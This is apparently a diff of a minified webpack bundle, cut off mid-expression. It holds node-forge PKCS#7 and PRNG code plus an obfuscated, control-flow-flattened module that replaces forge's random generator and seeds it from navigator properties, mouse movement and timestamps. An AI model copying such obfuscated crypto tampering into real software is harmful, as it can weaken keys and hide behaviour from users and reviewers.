e.issuer + , a = e.serialNumber; + if (e.certificate) { + var i = e.certificate; + "string" == typeof i && (i = n.pki.certificateFromPem(i)), + t = i.issuer.attributes, + a = i.serialNumber + } + var o = e.key; + if (!o) + throw new Error("Could not add PKCS#7 signer; no private key specified."); + "string" == typeof o && (o = n.pki.privateKeyFromPem(o)); + var u = e.digestAlgorithm || n.pki.oids.sha1; + switch (u) { + case n.pki.oids.sha1: + case n.pki.oids.sha256: + case n.pki.oids.sha384: + case n.pki.oids.sha512: + case n.pki.oids.md5: + break; + default: + throw new Error("Could not add PKCS#7 signer; unknown message digest algorithm: " + u) + } + var s = e.authenticatedAttributes || []; + if (s.length > 0) { + for (var c = !1, f = !1, v = 0; v < s.length; ++v) { + var x = s[v]; + if (c || x.type !== n.pki.oids.contentType) { + if (f || x.type !== n.pki.oids.messageDigest) + ; + else if (f = !0, + c) + break + } else if (c = !0, + f) + break + } + if (!c || !f) + throw new Error("Invalid signer.authenticatedAttributes. If signer.authenticatedAttributes is specified, then it must contain at least two attributes, PKCS #9 content-type and PKCS #9 message-digest.") + } + r.signers.push({ + key: o, + version: 1, + issuer: t, + serialNumber: a, + digestAlgorithm: u, + signatureAlgorithm: n.pki.oids.rsaEncryption, + signature: null, + authenticatedAttributes: s, + unauthenticatedAttributes: [] + }) + }, + sign: function(e) { + var t; + e = e || {}, + ("object" != typeof r.content || null === r.contentInfo) && (r.contentInfo = a.create(a.Class.UNIVERSAL, a.Type.SEQUENCE, !0, [a.create(a.Class.UNIVERSAL, a.Type.OID, !1, a.oidToDer(n.pki.oids.data).getBytes())]), + "content"in r && (r.content instanceof n.util.ByteBuffer ? t = r.content.bytes() : "string" == typeof r.content && (t = n.util.encodeUtf8(r.content)), + e.detached ? r.detachedContent = a.create(a.Class.UNIVERSAL, a.Type.OCTETSTRING, !1, t) : r.contentInfo.value.push(a.create(a.Class.CONTEXT_SPECIFIC, 0, !0, [a.create(a.Class.UNIVERSAL, a.Type.OCTETSTRING, !1, t)])))), + 0 !== r.signers.length && function(e) { + var t; + if (!(t = r.detachedContent ? r.detachedContent : (t = r.contentInfo.value[1]).value[0])) + throw new Error("Could not sign PKCS#7 message; there is no content to sign."); + var i = a.derToOid(r.contentInfo.value[0].value) + , o = a.toDer(t); + for (var c in o.getByte(), + a.getBerValueLength(o), + o = o.getBytes(), + e) + e[c].start().update(o); + for (var f = new Date, v = 0; v < r.signers.length; ++v) { + var x = r.signers[v]; + if (0 === x.authenticatedAttributes.length) { + if (i !== n.pki.oids.data) + throw new Error("Invalid signer; authenticatedAttributes must be present when the ContentInfo content type is not PKCS#7 Data.") + } else { + x.authenticatedAttributesAsn1 = a.create(a.Class.CONTEXT_SPECIFIC, 0, !0, []); + for (var l = a.create(a.Class.UNIVERSAL, a.Type.SET, !0, []), d = 0; d < x.authenticatedAttributes.length; ++d) { + var h = x.authenticatedAttributes[d]; + h.type === n.pki.oids.messageDigest ? h.value = e[x.digestAlgorithm].digest() : h.type === n.pki.oids.signingTime && (h.value || (h.value = f)), + l.value.push(s(h)), + x.authenticatedAttributesAsn1.value.push(s(h)) + } + o = a.toDer(l).getBytes(), + x.md.start().update(o) + } + x.signature = x.key.sign(x.md, "RSASSA-PKCS1-V1_5") + } + r.signerInfos = function(r) { + for (var e = [], t = 0; t < r.length; ++t) + e.push(u(r[t])); + return e + }(r.signers) + }(function() { + for (var e = {}, t = 0; t < r.signers.length; ++t) { + var i = r.signers[t]; + (o = i.digestAlgorithm)in e || (e[o] = n.md[n.pki.oids[o]].create()), + 0 === i.authenticatedAttributes.length ? i.md = e[o] : i.md = n.md[n.pki.oids[o]].create() + } + for (var o in r.digestAlgorithmIdentifiers = [], + e) + r.digestAlgorithmIdentifiers.push(a.create(a.Class.UNIVERSAL, a.Type.SEQUENCE, !0, [a.create(a.Class.UNIVERSAL, a.Type.OID, !1, a.oidToDer(o).getBytes()), a.create(a.Class.UNIVERSAL, a.Type.NULL, !1, "")])); + return e + }()) + }, + verify: function() { + throw new Error("PKCS#7 signature verification not yet implemented.") + }, + addCertificate: function(e) { + "string" == typeof e && (e = n.pki.certificateFromPem(e)), + r.certificates.push(e) + }, + addCertificateRevokationList: function(r) { + throw new Error("PKCS#7 CRL support not yet implemented.") + } + } + } + , + i.createEncryptedData = function() { + var r = null; + return r = { + type: n.pki.oids.encryptedData, + version: 0, + encryptedContent: { + algorithm: n.pki.oids["aes256-CBC"] + }, + fromAsn1: function(e) { + c(r, e, i.asn1.encryptedDataValidator) + }, + decrypt: function(e) { + void 0 !== e && (r.encryptedContent.key = e), + f(r) + } + } + } + , + i.createEnvelopedData = function() { + var r = null; + return r = { + type: n.pki.oids.envelopedData, + version: 0, + recipients: [], + encryptedContent: { + algorithm: n.pki.oids["aes256-CBC"] + }, + fromAsn1: function(e) { + var t = c(r, e, i.asn1.envelopedDataValidator); + r.recipients = function(r) { + for (var e = [], t = 0; t < r.length; ++t) + e.push(o(r[t])); + return e + }(t.recipientInfos.value) + }, + toAsn1: function() { + return a.create(a.Class.UNIVERSAL, a.Type.SEQUENCE, !0, [a.create(a.Class.UNIVERSAL, a.Type.OID, !1, a.oidToDer(r.type).getBytes()), a.create(a.Class.CONTEXT_SPECIFIC, 0, !0, [a.create(a.Class.UNIVERSAL, a.Type.SEQUENCE, !0, [a.create(a.Class.UNIVERSAL, a.Type.INTEGER, !1, a.integerToDer(r.version).getBytes()), a.create(a.Class.UNIVERSAL, a.Type.SET, !0, function(r) { + for (var e, t = [], i = 0; i < r.length; ++i) + t.push((e = r[i], + a.create(a.Class.UNIVERSAL, a.Type.SEQUENCE, !0, [a.create(a.Class.UNIVERSAL, a.Type.INTEGER, !1, a.integerToDer(e.version).getBytes()), a.create(a.Class.UNIVERSAL, a.Type.SEQUENCE, !0, [n.pki.distinguishedNameToAsn1({ + attributes: e.issuer + }), a.create(a.Class.UNIVERSAL, a.Type.INTEGER, !1, n.util.hexToBytes(e.serialNumber))]), a.create(a.Class.UNIVERSAL, a.Type.SEQUENCE, !0, [a.create(a.Class.UNIVERSAL, a.Type.OID, !1, a.oidToDer(e.encryptedContent.algorithm).getBytes()), a.create(a.Class.UNIVERSAL, a.Type.NULL, !1, "")]), a.create(a.Class.UNIVERSAL, a.Type.OCTETSTRING, !1, e.encryptedContent.content)]))); + return t + }(r.recipients)), a.create(a.Class.UNIVERSAL, a.Type.SEQUENCE, !0, (e = r.encryptedContent, + [a.create(a.Class.UNIVERSAL, a.Type.OID, !1, a.oidToDer(n.pki.oids.data).getBytes()), a.create(a.Class.UNIVERSAL, a.Type.SEQUENCE, !0, [a.create(a.Class.UNIVERSAL, a.Type.OID, !1, a.oidToDer(e.algorithm).getBytes()), e.parameter ? a.create(a.Class.UNIVERSAL, a.Type.OCTETSTRING, !1, e.parameter.getBytes()) : void 0]), a.create(a.Class.CONTEXT_SPECIFIC, 0, !0, [a.create(a.Class.UNIVERSAL, a.Type.OCTETSTRING, !1, e.content.getBytes())])]))])])]); + var e + }, + findRecipient: function(e) { + for (var t = e.issuer.attributes, n = 0; n < r.recipients.length; ++n) { + var a = r.recipients[n] + , i = a.issuer; + if (a.serialNumber === e.serialNumber && i.length === t.length) { + for (var o = !0, u = 0; u < t.length; ++u) + if (i[u].type !== t[u].type || i[u].value !== t[u].value) { + o = !1; + break + } + if (o) + return a + } + } + return null + }, + decrypt: function(e, t) { + if (void 0 === r.encryptedContent.key && void 0 !== e && void 0 !== t) + switch (e.encryptedContent.algorithm) { + case n.pki.oids.rsaEncryption: + case n.pki.oids.desCBC: + var a = t.decrypt(e.encryptedContent.content); + r.encryptedContent.key = n.util.createBuffer(a); + break; + default: + throw new Error("Unsupported asymmetric cipher, OID " + e.encryptedContent.algorithm) + } + f(r) + }, + addRecipient: function(e) { + r.recipients.push({ + version: 0, + issuer: e.issuer.attributes, + serialNumber: e.serialNumber, + encryptedContent: { + algorithm: n.pki.oids.rsaEncryption, + key: e.publicKey + } + }) + }, + encrypt: function(e, t) { + if (void 0 === r.encryptedContent.content) { + var a, i, o; + switch (t = t || r.encryptedContent.algorithm, + e = e || r.encryptedContent.key, + t) { + case n.pki.oids["aes128-CBC"]: + a = 16, + i = 16, + o = n.aes.createEncryptionCipher; + break; + case n.pki.oids["aes192-CBC"]: + a = 24, + i = 16, + o = n.aes.createEncryptionCipher; + break; + case n.pki.oids["aes256-CBC"]: + a = 32, + i = 16, + o = n.aes.createEncryptionCipher; + break; + case n.pki.oids["des-EDE3-CBC"]: + a = 24, + i = 8, + o = n.des.createEncryptionCipher; + break; + default: + throw new Error("Unsupported symmetric cipher, OID " + t) + } + if (void 0 === e) + e = n.util.createBuffer(n.random.getBytes(a)); + else if (e.length() != a) + throw new Error("Symmetric key has wrong length; got " + e.length() + " bytes, expected " + a + "."); + r.encryptedContent.algorithm = t, + r.encryptedContent.key = e, + r.encryptedContent.parameter = n.util.createBuffer(n.random.getBytes(i)); + var u = o(e); + if (u.start(r.encryptedContent.parameter.copy()), + u.update(r.content), + !u.finish()) + throw new Error("Symmetric encryption failed."); + r.encryptedContent.content = u.output + } + for (var s = 0; s < r.recipients.length; ++s) { + var c = r.recipients[s]; + if (void 0 === c.encryptedContent.content) { + if (c.encryptedContent.algorithm !== n.pki.oids.rsaEncryption) + throw new Error("Unsupported asymmetric cipher, OID " + c.encryptedContent.algorithm); + c.encryptedContent.content = c.encryptedContent.key.encrypt(r.encryptedContent.key.data) + } + } + } + } + } + } + , + 496: (r,e,t)=>{} + , + 742: (r,e,t)=>{} + , + 654: (r,e,t)=>{} + , + 933: (r,e,t)=>{ + var n = t(832); + t(116); + var a = null; + !n.util.isNodejs || n.options.usePureJavaScript || process.versions["node-webkit"] || (a = t(819)), + (r.exports = n.prng = n.prng || {}).create = function(r) { + for (var e = { + plugin: r, + key: null, + seed: null, + time: null, + reseeds: 0, + generated: 0, + keyBytes: "" + }, t = r.md, i = new Array(32), o = 0; o < 32; ++o) + i[o] = t.create(); + function u() { + if (e.pools[0].messageLength >= 32) + return s(); + var r = 32 - e.pools[0].messageLength << 5; + e.collect(e.seedFileSync(r)), + s() + } + function s() { + e.reseeds = 4294967295 === e.reseeds ? 0 : e.reseeds + 1; + var r = e.plugin.md.create(); + r.update(e.keyBytes); + for (var t = 1, n = 0; n < 32; ++n) + e.reseeds % t == 0 && (r.update(e.pools[n].digest().getBytes()), + e.pools[n].start()), + t <<= 1; + e.keyBytes = r.digest().getBytes(), + r.start(), + r.update(e.keyBytes); + var a = r.digest().getBytes(); + e.key = e.plugin.formatKey(e.keyBytes), + e.seed = e.plugin.formatSeed(a), + e.generated = 0 + } + function c(r) { + var e = null + , t = n.util.globalScope + , a = t.crypto || t.msCrypto; + a && a.getRandomValues && (e = function(r) { + return a.getRandomValues(r) + } + ); + var i = n.util.createBuffer(); + if (e) + for (; i.length() < r; ) { + var o = Math.max(1, Math.min(r - i.length(), 65536) / 4) + , u = new Uint32Array(Math.floor(o)); + try { + e(u); + for (var s = 0; s < u.length; ++s) + i.putInt32(u[s]) + } catch (r) { + if (!("undefined" != typeof QuotaExceededError && r instanceof QuotaExceededError)) + throw r + } + } + } + return e.pools = i, + e.pool = 0, + e.generate = function(r, t) { + if (!t) + return e.generateSync(r); + var a = e.plugin.cipher + , i = e.plugin.increment + , o = e.plugin.formatKey + , u = e.plugin.formatSeed + , c = n.util.createBuffer(); + e.key = null, + function f(v) { + if (v) + return t(v); + if (c.length() >= r) + return t(null, c.getBytes(r)); + if (e.generated > 1048575 && (e.key = null), + null === e.key) + return n.util.nextTick(function() { + !function(r) { + if (e.pools[0].messageLength >= 32) + return s(), + r(); + var t = 32 - e.pools[0].messageLength << 5; + e.seedFile(t, function(t, n) { + if (t) + return r(t); + e.collect(n), + s(), + r() + }) + }(f) + }); + var x = a(e.key, e.seed); + e.generated += x.length, + c.putBytes(x), + e.key = o(a(e.key, i(e.seed))), + e.seed = u(a(e.key, e.seed)), + n.util.setImmediate(f) + }() + } + , + e.generateSync = function(r) { + var t = e.plugin.cipher + , a = e.plugin.increment + , i = e.plugin.formatKey + , o = e.plugin.formatSeed; + e.key = null; + for (var s = n.util.createBuffer(); s.length() < r; ) { + e.generated > 1048575 && (e.key = null), + null === e.key && u(); + var c = t(e.key, e.seed); + e.generated += c.length, + s.putBytes(c), + e.key = i(t(e.key, a(e.seed))), + e.seed = o(t(e.key, e.seed)) + } + return s.getBytes(r) + } + , + a ? (e.seedFile = function(r, e) { + a.randomBytes(r, function(r, t) { + if (r) + return e(r); + e(null, t.toString()) + }) + } + , + e.seedFileSync = function(r) { + return (a = crypto).randomBytes(r).toString() + } + ) : (e.seedFile = function(r, e) { + try { + e(null, c(r)) + } catch (r) { + e(r) + } + } + , + e.seedFileSync = c), + e.collect = function(r) {} + , + e.collectInt = function(r, t) { + for (var n = "", a = 0; a < t; a += 8) + n += String.fromCharCode(r >> a & 255); + e.collect(n) + } + , + e.registerWorker = function(r) { + r === self ? e.seedFile = function(r, e) { + self.addEventListener("message", function r(t) { + var n = t.data; + n.forge && n.forge.prng && (self.removeEventListener("message", r), + e(n.forge.prng.err, n.forge.prng.bytes)) + }), + self.postMessage({ + forge: { + prng: { + needed: r + } + } + }) + } + : r.addEventListener("message", function(t) { + var n = t.data; + n.forge && n.forge.prng && e.seedFile(n.forge.prng.needed, function(e, t) { + r.postMessage({ + forge: { + prng: { + err: e, + bytes: t + } + } + }) + }) + }) + } + , + e + } + } + , + 7: (r,e,t)=>{} + , + 563: (r,e,t)=>{ + !function(e) { + for (var n = 12; ; ) + if (n < 8) { + var a, i, o, u, s, c; + if (n < 4) + if (n < 2) + if (n < 1) { + var f = "getBy"; + n += 8 + } else + n += (a = 832, + 6); + else if (n < 3) { + var v = "s"; + n -= 2 + } else { + var x = "undefi"; + n += 6 + } + else if (n < 6) + if (n < 5) + o = i, + n += 2; + else + n -= 4; + else + n < 7 ? n += (925, + t(925), + 668, + t(668), + 933, + t(933), + 116, + t(116), + "random", + o.random && ("random", + o.random[f + l]) ? (u = r, + s = h + v, + "random", + c = o.random, + u[s] = c) : function(e) { + for (var t = 67; ; ) + if (t < 128) { + var n, a, i, u, s, c, f, v, x, l, d, h, p, y, g, m, C, b, E, S, I, T, A, B, w, N, R, U, D, L, P, k, K, V, O, M, j, F, G, q, Q, W, z, H, Y, Z, X, J, _, $, rr, er, tr, nr, ar, ir, or, ur, sr, cr, fr, vr, xr, lr, dr, hr, pr, yr, gr, mr, Cr, br, Er, Sr, Ir, Tr, Ar, Br, wr, Nr, Rr, Ur, Dr, Lr, Pr, kr, Kr, Vr, Or, Mr, jr, Fr, Gr, qr, Qr, Wr, zr, Hr, Yr, Zr, Xr, Jr, _r, $r, re, ee, te, ne, ae, ie, oe, ue, se, ce, fe, ve, xe, le; + if (t < 64) + if (t < 32) + if (t < 16) + t < 8 ? t < 4 ? t += t < 2 ? t < 1 ? 153 : (k = "genera", + 116) : t < 3 ? (C = "putIn", + 9) : (s = "ntX", + 27) : t < 6 ? t < 5 ? (S = "getI", + t += 61) : t += (Cr = "s", + 132) : t < 7 ? (D = "_expan", + t += 149) : (Mr = e, + t += 73) : t < 12 ? t < 10 ? t < 9 ? t += (ce = "crypto", + 134) : (T = "aes", + t += 3) : t < 11 ? (vr = "ined", + t += 139) : t += (b = "tes", + 29) : t < 14 ? t < 13 ? (A = "util", + t += 127) : (Nr = "ment", + t += 5) : t < 15 ? (hr = "ureJa", + t += 117) : t += (jr = 4, + 18); + else if (t < 24) + if (t < 20) + t < 18 ? t < 17 ? (g = "putI", + t += 87) : (Mr[jr] = Fr, + t += 150) : t < 19 ? (Rr = "incre", + t += 143) : t += (Mr = o, + 58); + else if (t < 22) + if (t < 21) { + var de = 0; + t += 9 + } else { + var he = []; + t -= 1 + } + else + t < 23 ? t += (Qr = oe, + 28) : (l = "alues", + t += 89); + else if (t < 28) + t < 26 ? t += t < 25 ? 51 : (M = "enxue", + 110) : t < 27 ? t += (h = "_upda", + 119) : t -= (Fr = oe, + 10); + else if (t < 30) + if (t < 29) + Hr = Wr[zr](), + t += 129; + else { + var pe = 0; + t += 58 + } + else + t < 31 ? (c = "clie", + t += 7) : (jr = "random", + t += 57); + else if (t < 48) + if (t < 40) + if (t < 36) + if (t < 34) + t += t < 33 ? 43 : (Fr = new Mr(jr), + 31); + else if (t < 35) + t += (Zr = function(r) { + for (var e = 8; ; ) + if (e < 16) { + var t, n, a, i, u, s, c, f, v, x, l, d, h, p, y, g, m, C, b, E, S, I, P, k; + if (e < 8) + e < 4 ? e < 2 ? e < 1 ? (f = B, + e += 4) : (u = N, + e += 12) : e < 3 ? (i = R, + e -= 1) : (c = J, + e -= 3) : e < 6 ? e < 5 ? (v = o, + e += 6) : e += (t = L, + 6) : e < 7 ? (l = v[x], + e += 9) : e -= (a = U, + 5); + else if (e < 12) + if (e < 10) + if (e < 9) + e -= 3; + else + e += (p = l[d](h), + 5); + else + e < 11 ? (x = A, + e -= 4) : e -= (n = D, + 4); + else if (e < 14) { + if (e < 13) + return 4, + g = r = new Array(4), + 0, + m = y[s + u](), + g[0] = m, + C = r, + 1, + b = y[s + u](), + C[1] = b, + E = r, + 2, + S = y[s + u](), + E[2] = S, + I = r, + 3, + P = y[i + a](), + I[3] = P, + k = r, + 1, + !1, + o[T][n + t](k, !1); + e -= (s = w, + 10) + } else + e < 15 ? (y = p, + e -= 2) : e += (d = c + f, + 1) + } else + h = r, + e -= 7 + } + , + Or[Pr + Lr] = Zr, + Jr = function(r) { + for (var e = 5; ; ) + if (e < 16) + if (e < 8) + if (e < 4) + e < 2 ? e < 1 ? e += (x = A, + 7) : (i = R, + e += 13) : e < 3 ? (n = S, + e += 14) : (p = l[d](h), + e += 10); + else if (e < 6) { + if (e < 5) + return 4, + g = r = new Array(4), + 0, + m = y[s + u](), + g[0] = m, + C = r, + 1, + b = y[i + a](), + C[1] = b, + E = r, + 2, + T = y[n + t](), + E[2] = T, + D = r, + 3, + L = y[s + u](), + D[3] = L, + r; + var t, n, a, i, u, s, c, f, v, x, l, d, h, p, y, g, m, C, b, E, T, D, L; + e += 7 + } else + e < 7 ? (d = f + c, + e += 5) : (l = v[x], + e -= 1); + else + e < 12 ? e < 10 ? e < 9 ? e += (f = J, + 2) : e -= (c = B, + 1) : e < 11 ? e -= (v = o, + 10) : (h = r, + e -= 8) : e < 14 ? e -= e < 13 ? (t = I, + 10) : (y = p, + 9) : e < 15 ? (u = N, + e += 1) : e -= (s = w, + 6); + else + a = U, + e -= 15 + } + , + Or[Xr = Dr + Ur] = Jr, + $r = function(r, e) { + for (var t = 7; ; ) + if (t < 8) { + var n, a, i, u, s, c, f, v, x, l, d, S, A, B, w, R, D, L, P, k, K, V, O, M, j, F, G; + if (t < 4) + if (t < 2) + t += t < 1 ? (x = y, + 10) : (s = U, + 3); + else { + if (!(t < 3)) + return S = o[T], + A = r, + B = e, + w = Gr, + 1, + !1, + S[d + l + x](A, B, w, !1), + R = Yr, + D = f + v, + 0, + L = Gr[0], + R[D](L), + P = Yr, + k = c + s, + 1, + K = Gr[1], + P[k](K), + V = Yr, + O = c + s, + 2, + M = Gr[2], + V[O](M), + j = Yr, + F = i + u, + 3, + G = Gr[3], + j[F](G), + Yr[n + a](); + t += (a = b, + 10) + } + else if (t < 6) + t < 5 ? (c = m, + t += 1) : (f = g, + t += 3); + else if (t < 7) + d = h, + t -= 3; + else + t += 4 + } else + t < 12 ? t < 10 ? t < 9 ? (v = I, + t -= 8) : t -= (u = N, + 8) : t < 11 ? (l = p, + t -= 4) : (n = E, + t -= 9) : t -= (i = C, + 3) + } + , + (_r = Or)["cipher"] = $r, + te = function(r) { + for (var e = 0; ; ) { + if (!(e < 1)) + return 3, + ++r[3], + r; + e += 1 + } + } + , + (re = Or)[ee = Rr + Nr] = te, + ne = Or, + ae = "md", + "sha256", + ie = o["md"].sha256, + ne[ae] = ie, + 120); + else { + var ye = me[Ce]; + t += 50 + } + else + t < 38 ? t += t < 37 ? (kr = "eBuf", + 97) : (f = "Y", + 53) : t < 39 ? t += (Fr = o, + 88) : (w = "getIn", + t += 45); + else + t < 44 ? t < 42 ? t < 41 ? (E = "getBy", + t -= 36) : ((Zr = xr + vr == typeof window) || window[Xr = fr + cr], + Jr = oe, + _r = ur + or + sr, + re = +($r = new Date), + ee = 32, + Jr[_r](re, ee), + (te = ar + ir) != (ne = typeof navigator) ? t += 18 : t -= 9) : t += t < 43 ? (Fr = Mr[jr], + 114) : (er = "mousem", + 56) : t < 46 ? t < 45 ? t -= (U = "32", + 38) : t += (Sr = "mValu", + 11) : t < 47 ? t += 48 : (xe && xe[Zr = br + Ir + Sr + Er] && (ue = Xr = function(r) { + for (var e = 4; ; ) + if (e < 8) + if (e < 4) + e < 2 ? e < 1 ? e += (n = l, + 3) : (u = r, + e += 7) : e < 3 ? (i = xe, + e += 3) : (a = x, + e -= 1); + else if (e < 6) { + var t, n, a, i, o, u, s; + if (e < 5) + e += 3; + else + o = t + a + n, + e -= 4 + } else { + if (e < 7) + return s; + e -= (t = d, + 7) + } + else + s = i[o](u), + e -= 2 + } + ), + (re = (Jr = o)[_r = mr + Cr][$r = pr + hr + yr + gr]) || !(ne = (ee = o)[te = "util"])[ae = dr + lr] && !ue ? t -= 6 : t += 31); + else if (t < 56) + t < 52 ? t < 50 ? t += t < 49 ? (X = "Inst", + 26) : (Mr = o, + 46) : t < 51 ? t += (Wr = ye, + 61) : (ar = "undefi", + t += 101) : t < 54 ? t < 53 ? t += (se = zr, + 111) : (nr = "collec", + t -= 2) : t < 55 ? t += (Dr = "forma", + 76) : t -= (Zr = le, + oe[nr + sr](Zr), + le = null, + 31); + else if (t < 60) + if (t < 58) { + if (!(t < 57)) + return; + Ir = "ando", + t += 113 + } else + t < 59 ? (Y = "expor", + t += 46) : t += (Mr = "", + 10); + else if (t < 62) + if (t < 61) + Qr = "util", + t += 88; + else + t -= 40; + else + t < 63 ? t += (V = "yuanr", + 34) : t -= (zr = Qr[Wr], + 11); + else if (t < 96) + if (t < 80) + if (t < 72) + if (t < 68) + if (t < 66) + t < 65 ? (Gr = Fr, + t += 63) : t -= (I = "nt32", + 56); + else if (t < 67) + t -= (Xr = ge, + (Zr = o["random"])[J + X + _] = Xr, + Jr = r, + _r = Y + Z, + re = o[$r = "random"], + Jr[_r] = re, + 9); + else { + var ge = function() { + for (var r = 3; ; ) + if (r < 8) + if (r < 4) + if (r < 2) { + if (r < 1) + return x = function(r, e) { + for (var t = 23; ; ) + if (t < 16) + if (t < 8) + if (t < 4) + t < 2 ? t < 1 ? t += (h = r, + 17) : (l[d](h, p), + t += 12) : t < 3 ? (l = v, + t += 20) : (i = F, + t += 9); + else if (t < 6) { + if (t < 5) + return p; + t += (d = P, + 4) + } else + t < 7 ? t += (n = q, + 4) : t -= 3; + else + t < 12 ? t < 10 ? t += t < 9 ? (p = a + n, + 3) : (h = l === d, + 12) : t -= t < 11 ? (a = G, + 7) : 4 : t < 14 ? t < 13 ? (o = j, + t += 6) : t -= (l = typeof TEMPORARY, + 8) : t < 15 ? (f = K, + t += 2) : t -= (c = V, + 1); + else { + var n, a, i, o, u, s, c, f, x, l, d, h, p; + if (t < 24) + if (t < 20) + t < 18 ? t < 17 ? (x = k, + t -= 14) : (p = e, + t -= 16) : t += t < 19 ? (u = M, + 2) : (0, + p = 0 === TEMPORARY ? c + u + s : o + i, + 5); + else if (t < 22) + t -= t < 21 ? (s = O, + 5) : h ? 2 : 13; + else if (t < 23) + d = x + f, + t -= 22; + else + t -= 17; + else + t -= 17 + } + } + , + v[t + n] = x, + l = function(r) { + for (var e = 3; ; ) + if (e < 4) + if (e < 2) { + if (!(e < 1)) + return u; + a = v, + e += 6 + } else { + var t, n, a, i, o, u; + if (e < 3) + n = K, + e -= 2; + else + e += 2 + } + else + e < 6 ? e < 5 ? e += (o = r, + 3) : (t = k, + e -= 3) : e < 7 ? (i = t + n, + e -= 2) : e -= (u = a[i](o), + 6) + } + , + v[t + n + e] = l, + v; + i = Q, + r += 1 + } else { + var e, t, n, a, i, u, s, c, f, v, x, l; + if (r < 3) + r += (u = a[i], + 6); + else + r += 8 + } + else + r < 6 ? r < 5 ? (f = u[s](c), + r += 1) : r -= (v = f, + 5) : r < 7 ? r += (n = W, + 4) : r -= (c = Or, + 3); + else + r < 10 ? r < 9 ? r -= (s = J, + 1) : (t = z, + r -= 3) : r < 11 ? r -= (a = o, + 9) : (e = H, + r -= 2) + }; + t += 15 + } + else if (t < 70) + t < 69 ? t -= (zr = Kr + kr + Vr, + 40) : (le = Mr, + t += 4); + else if (t < 71) { + for (n in navigator) + me[be++] = n; + t += 6 + } else + t -= 22; + else if (t < 76) + if (t < 74) + if (t < 73) + t += (G = "yrx20", + 30); + else + t += 24; + else + t < 75 ? t += (J = "create", + 15) : t -= 68; + else + t < 78 ? t < 77 ? Ce < be ? t -= 41 : t += 34 : (jr = "random", + t -= 50) : t < 79 ? t -= 7 : (lr = "js", + t += 2); + else if (t < 88) + if (t < 84) + if (t < 82) + t < 81 ? t += Mr ? 13 : 29 : t -= (dr = "isNode", + 67); + else if (t < 83) + t += 25; + else + Mr = o, + t -= 52; + else if (t < 86) + if (t < 85) + N = "t32", + t += 8; + else { + try { + (Qr = (Mr = "string") == (qr = typeof (jr = navigator)[Fr = ye])) && (Qr = le += Zr = navigator[ye]) + } catch (r) {} + t += 86 + } + else if (t < 87) + rr = "ess", + t -= 43; + else { + for (n in oe) + he[de++] = n; + t += 42 + } + else + t < 92 ? t < 90 ? t < 89 ? (Fr = Mr[jr], + t += 32) : (_ = "ance", + t += 76) : t < 91 ? t += (v = "client", + 61) : (Br = "Scope", + t += 47) : t < 94 ? t < 93 ? (R = "getInt", + t -= 48) : t += (Zr = function(r) { + for (var e = 2; ; ) + if (e < 8) { + var t, n, a, i, o, x, l, d, h, p, y, g; + if (e < 4) + if (e < 2) + e < 1 ? (a = c, + e += 1) : e += (i = s, + 7); + else if (e < 3) + e += 5; + else + l = oe, + d = o + x, + h = r[a + i], + 16, + l[d](h, 16), + p = oe, + y = o + x, + g = r[t + n], + 16, + p[y](g, 16), + e += 3; + else if (e < 6) + e < 5 ? e -= (x = u, + 1) : (n = f, + e -= 5); + else { + if (e < 7) + return; + t = v, + e -= 2 + } + } else + o = nr, + e -= 4 + } + , + e()[er + tr](Zr), + Jr = function(r) { + for (var e = 11; ; ) + if (e < 8) + e < 4 ? e < 2 ? e < 1 ? (c[f](l, d), + e += 12) : e -= (d = 8, + 1) : e < 3 ? e -= (l = v[x], + 1) : e += (s = ur, + 3) : e < 6 ? e += e < 5 ? (v = r, + 4) : (o = or, + 8) : e < 7 ? e += (c = oe, + 3) : e -= (n = a, + 2); + else if (e < 12) { + var t, n, o, u, s, c, f, v, x, l, d; + if (e < 10) + e < 9 ? (x = t + n, + e -= 6) : e -= (f = s + o + u, + 5); + else if (e < 11) + t = i, + e -= 3; + else + e -= 1 + } else { + if (e < 13) + return; + e -= (u = sr, + 10) + } + } + , + Mr = e()[Xr = $ + rr](Jr), + 20) : t < 95 ? t -= 28 : (jr = "random", + t -= 53); + else if (t < 112) + if (t < 104) + if (t < 100) + if (t < 98) + if (t < 97) + t -= (O = "2023", + 71); + else { + var me = []; + t += 67 + } + else + t < 99 ? t -= 52 : (tr = "ove", + t -= 46); + else + t < 102 ? t < 101 ? t -= (Er = "es", + 55) : (Or = {}, + t += 39) : t < 103 ? (q = "23", + t += 58) : (m = "putInt", + t -= 101); + else + t < 108 ? t < 106 ? t -= t < 105 ? (Z = "ts", + 56) : (Wr = wr + Br, + 42) : t < 107 ? (Qr = Fr[qr], + t -= 1) : t += (a = "Code", + 16) : t < 110 ? t < 109 ? (Vr = "fer", + t -= 7) : t -= 109 : t < 111 ? t -= 55 : (zr = Qr[Wr], + t += 51); + else if (t < 120) + t < 116 ? t < 114 ? t < 113 ? (d = "getRa", + t -= 86) : t -= 113 : t < 115 ? (oe = Mr, + t += 33) : (P = "number", + t -= 114) : t < 118 ? t < 117 ? (or = "ctIn", + t += 3) : (K = "te", + t -= 55) : t < 119 ? (H = "Sync", + t -= 60) : (ur = "colle", + t += 24); + else if (t < 124) + t < 122 ? t < 121 ? (qr = ye, + t -= 98) : (ve = fe || se[Ar + Tr], + t += 25) : t < 123 ? (gr = "pt", + t += 3) : t += (i = "char", + 18); + else if (t < 126) + if (t < 125) { + var Ce = 0; + t -= 54 + } else + mr = "option", + t -= 120; + else + t < 127 ? (qr = "util", + t -= 20) : t -= (qr = o, + 67) + } else if (t < 160) + t < 144 ? t < 136 ? t < 132 ? t < 130 ? t < 129 ? t -= (yr = "vaScri", + 6) : pe < de ? t += 43 : t -= 31 : t < 131 ? (Lr = "atKey", + t += 20) : (pr = "useP", + t -= 3) : t < 134 ? t < 133 ? (fr = "docum", + t -= 122) : (Kr = "creat", + t -= 25) : t -= t < 135 ? (F = "023", + 62) : (j = "xry2", + 1) : t < 140 ? t < 138 ? t < 137 ? (ue = jr, + t -= 98) : (br = "getR", + t -= 37) : t < 139 ? (wr = "global", + t -= 125) : (B = "Buffer", + t -= 100) : t < 142 ? t < 141 ? t -= (Mr = Array, + 125) : (u = "tInt", + t -= 138) : t < 143 ? (fe = Hr[ce], + t -= 21) : (sr = "t", + t += 15) : t < 152 ? t < 148 ? t < 146 ? t < 145 ? (z = "getB", + t -= 26) : (p = "teBloc", + t += 23) : t -= t < 147 ? (xe = ve, + 99) : (jr = null, + 11) : t < 150 ? t < 149 ? t -= (Wr = qr[Qr], + 80) : (xr = "undef", + t -= 70) : t < 151 ? (Pr = "form", + t -= 114) : (x = "ndomV", + t -= 128) : t < 156 ? t < 154 ? t -= t < 153 ? (ir = "ned", + 36) : 82 : t < 155 ? t -= (Mr = ge(), + 40) : 